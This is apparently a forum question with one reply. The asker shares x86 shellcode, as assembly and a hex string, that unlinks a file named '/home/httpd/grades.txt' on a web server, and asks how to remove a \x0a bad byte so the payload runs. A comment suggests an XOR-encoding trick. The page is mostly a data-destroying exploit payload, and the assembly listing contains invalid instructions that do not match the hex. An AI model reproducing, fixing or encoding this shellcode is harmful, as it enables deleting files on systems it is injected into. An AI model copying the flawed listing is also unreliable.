1

I have written a shellcode to unlink a file from the system, but when I extracted the hexcode off the binary file, it consists of \x0a byte, because the sys call number for unlink function is 10, so it is essentially being treated as new line character while I excecute my hex code. Therefore, restricting rest of the code from excecuting.

My shell is (shellcode.S):

#include 

#define STRING  "/home/httpd/grades.txt"
#define STRLEN  22
#define CODE 0x05

.globl main
        .type   main, @function

 main:
        jmp     calladdr

 popladdr:
        popl    %esi
        xorl    %eax,%eax               /* get a 32-bit zero value */
        movb    %al,(STRLEN)(%esi)      /* null-terminate our string */

        addb    %ecx,5
        movb    $ecx,%al                /* syscall arg 1: syscall number */
        movl    %esi,%ebx               /* syscall arg 2: string pathname */
        int     $0x80                   /* invoke syscall */

        xorl    %ebx,%ebx               /* syscall arg 2: 0 */
        movl    %ebx,%eax
        inc     %eax                    /* syscall arg 1: SYS_exit (1), uses */
                                        /* mov+inc to avoid null byte */
        int     $0x80                   /* invoke syscall */

 calladdr:
        call    popladdr
        .ascii  STRING

The hex code for bin file of shellcode is:

char shellcode[] = "\xeb\x13\x5e\x31\xc0\x88\x46\x16\xb0\x0a\x89\xf3"
                   "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xe8\xff"
                   "\xff\xff\x2f\x68\x6f\x6d\x65\x2f\x68\x74\x74\x70"
                   "\x64\x2f\x67\x72\x61\x64\x65\x73\x2e\x74\x78\x74"

So, please suggest some method to eliminate, this with the same functioning of shellcode.

Thanks for help!

  • Don't see where unlink() is called in your shellcode but I think I managed around a similar issue before by storing the offending value with every bit flipped, and then performing an xor with 0xff. – dreamist Mar 21 '17 at 13:36

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.